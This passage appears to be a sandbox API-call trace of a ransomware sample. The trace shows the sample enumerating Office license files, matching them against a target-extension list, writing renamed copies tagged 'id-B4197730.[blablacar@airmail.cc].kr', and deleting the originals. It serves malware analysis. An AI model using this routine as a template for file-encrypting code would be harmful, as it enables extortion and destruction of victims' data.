(hObject=0x3f8) returned 1 [0205.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms")) returned 1 [0205.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.376] lstrlenW (lpString=".doc") returned 4 [0205.376] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.376] lstrlenW (lpString=".docx") returned 5 [0205.376] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.376] lstrlenW (lpString=".pdf") returned 4 [0205.376] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.376] lstrlenW (lpString=".xls") returned 4 [0205.376] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.376] lstrlenW (lpString=".xlsx") returned 5 [0205.376] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.376] lstrlenW (lpString=".ppt") returned 4 [0205.376] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.376] lstrlenW (lpString=".zip") returned 4 [0205.376] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.376] lstrlenW (lpString=".rar") returned 4 [0205.376] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.376] lstrlenW (lpString=".bz2") returned 4 [0205.376] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.376] lstrlenW (lpString=".7z") returned 3 [0205.376] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.376] lstrlenW (lpString=".dbf") returned 4 [0205.376] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.376] lstrlenW (lpString=".1cd") returned 4 [0205.376] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.376] lstrlenW (lpString=".jpg") returned 4 [0205.376] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.377] lstrlenW (lpString=".doc") returned 4 [0205.377] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.377] lstrlenW (lpString=".docx") returned 5 [0205.377] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.377] lstrlenW (lpString=".pdf") returned 4 [0205.377] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.377] lstrlenW (lpString=".xls") returned 4 [0205.377] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.377] lstrlenW (lpString=".xlsx") returned 5 [0205.377] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.377] lstrlenW (lpString=".ppt") returned 4 [0205.377] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.377] lstrlenW (lpString=".zip") returned 4 [0205.377] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.377] lstrlenW (lpString=".rar") returned 4 [0205.377] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.377] lstrlenW (lpString=".bz2") returned 4 [0205.377] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.377] lstrlenW (lpString=".7z") returned 3 [0205.377] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.377] lstrlenW (lpString=".dbf") returned 4 [0205.377] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.377] lstrlenW (lpString=".1cd") returned 4 [0205.378] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms") returned 87 [0205.378] lstrlenW (lpString=".jpg") returned 4 [0205.378] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.378] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.378] lstrlenW (lpString="O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 33 [0205.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0205.379] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=24369) returned 1 [0205.379] CloseHandle (hObject=0x3f8) returned 1 [0205.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms")) returned 0x220 [0205.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0205.379] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.379] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0205.381] GetLastError () returned 0x0 [0205.381] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5f31, lpOverlapped=0x0) returned 1 [0205.646] WriteFile (in: hFile=0x36c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5f40, lpOverlapped=0x0) returned 1 [0205.760] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.760] WriteFile (in: hFile=0x36c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x116, lpOverlapped=0x0) returned 1 [0205.760] SetEndOfFile (hFile=0x36c) returned 1 [0205.761] CloseHandle (hObject=0x36c) returned 1 [0205.761] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.761] SetEndOfFile (hFile=0x3f8) returned 1 [0205.764] CloseHandle (hObject=0x3f8) returned 1 [0205.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms")) returned 1 [0205.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.766] lstrlenW (lpString=".doc") returned 4 [0205.766] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.766] lstrlenW (lpString=".docx") returned 5 [0205.766] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.766] lstrlenW (lpString=".pdf") returned 4 [0205.766] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.766] lstrlenW (lpString=".xls") returned 4 [0205.766] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.766] lstrlenW (lpString=".xlsx") returned 5 [0205.766] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.766] lstrlenW (lpString=".ppt") returned 4 [0205.766] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.766] lstrlenW (lpString=".zip") returned 4 [0205.766] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.766] lstrlenW (lpString=".rar") returned 4 [0205.766] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.766] lstrlenW (lpString=".bz2") returned 4 [0205.766] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.766] lstrlenW (lpString=".7z") returned 3 [0205.766] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.767] lstrlenW (lpString=".dbf") returned 4 [0205.767] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.767] lstrlenW (lpString=".1cd") returned 4 [0205.767] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.767] lstrlenW (lpString=".jpg") returned 4 [0205.767] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.767] lstrlenW (lpString=".doc") returned 4 [0205.767] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.767] lstrlenW (lpString=".docx") returned 5 [0205.767] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.767] lstrlenW (lpString=".pdf") returned 4 [0205.767] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.767] lstrlenW (lpString=".xls") returned 4 [0205.767] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.767] lstrlenW (lpString=".xlsx") returned 5 [0205.767] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.767] lstrlenW (lpString=".ppt") returned 4 [0205.767] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.767] lstrlenW (lpString=".zip") returned 4 [0205.767] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.767] lstrlenW (lpString=".rar") returned 4 [0205.767] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.767] lstrlenW (lpString=".bz2") returned 4 [0205.767] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.767] lstrlenW (lpString=".7z") returned 3 [0205.767] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.768] lstrlenW (lpString=".dbf") returned 4 [0205.768] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.768] lstrlenW (lpString=".1cd") returned 4 [0205.768] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0205.768] lstrlenW (lpString=".jpg") returned 4 [0205.768] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.768] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.768] lstrlenW (lpString="O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 36 [0205.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0205.769] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11630) returned 1 [0205.769] CloseHandle (hObject=0x3f8) returned 1 [0205.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms")) returned 0x220 [0205.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0205.771] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.771] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0205.772] GetLastError () returned 0x0 [0205.772] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0205.778] WriteFile (in: hFile=0x36c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0205.779] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.779] WriteFile (in: hFile=0x36c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x11c, lpOverlapped=0x0) returned 1 [0205.779] SetEndOfFile (hFile=0x36c) returned 1 [0205.779] CloseHandle (hObject=0x36c) returned 1 [0205.779] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.779] SetEndOfFile (hFile=0x3f8) returned 1 [0205.842] CloseHandle (hObject=0x3f8) returned 1 [0205.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms")) returned 1 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.844] lstrlenW (lpString=".doc") returned 4 [0205.844] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.844] lstrlenW (lpString=".docx") returned 5 [0205.844] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.844] lstrlenW (lpString=".pdf") returned 4 [0205.844] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.844] lstrlenW (lpString=".xls") returned 4 [0205.844] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.844] lstrlenW (lpString=".xlsx") returned 5 [0205.844] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.844] lstrlenW (lpString=".ppt") returned 4 [0205.844] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.844] lstrlenW (lpString=".zip") returned 4 [0205.844] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.844] lstrlenW (lpString=".rar") returned 4 [0205.844] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.844] lstrlenW (lpString=".bz2") returned 4 [0205.844] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.844] lstrlenW (lpString=".7z") returned 3 [0205.844] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.844] lstrlenW (lpString=".dbf") returned 4 [0205.844] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.844] lstrlenW (lpString=".1cd") returned 4 [0205.844] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.844] lstrlenW (lpString=".jpg") returned 4 [0205.845] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.845] lstrlenW (lpString=".doc") returned 4 [0205.845] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.845] lstrlenW (lpString=".docx") returned 5 [0205.845] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.845] lstrlenW (lpString=".pdf") returned 4 [0205.845] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.845] lstrlenW (lpString=".xls") returned 4 [0205.845] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.845] lstrlenW (lpString=".xlsx") returned 5 [0205.845] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.845] lstrlenW (lpString=".ppt") returned 4 [0205.845] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.845] lstrlenW (lpString=".zip") returned 4 [0205.845] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.845] lstrlenW (lpString=".rar") returned 4 [0205.845] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.845] lstrlenW (lpString=".bz2") returned 4 [0205.845] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.845] lstrlenW (lpString=".7z") returned 3 [0205.845] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.845] lstrlenW (lpString=".dbf") returned 4 [0205.845] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.845] lstrlenW (lpString=".1cd") returned 4 [0205.845] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0205.845] lstrlenW (lpString=".jpg") returned 4 [0205.845] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.846] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.846] lstrlenW (lpString="O365ProPlusR_SubTrial4-pl.xrm-ms") returned 32 [0205.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0205.846] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11179) returned 1 [0205.846] CloseHandle (hObject=0x3f8) returned 1 [0205.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms")) returned 0x220 [0205.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0205.847] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.847] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0205.848] GetLastError () returned 0x0 [0205.848] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0205.976] WriteFile (in: hFile=0x564, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, 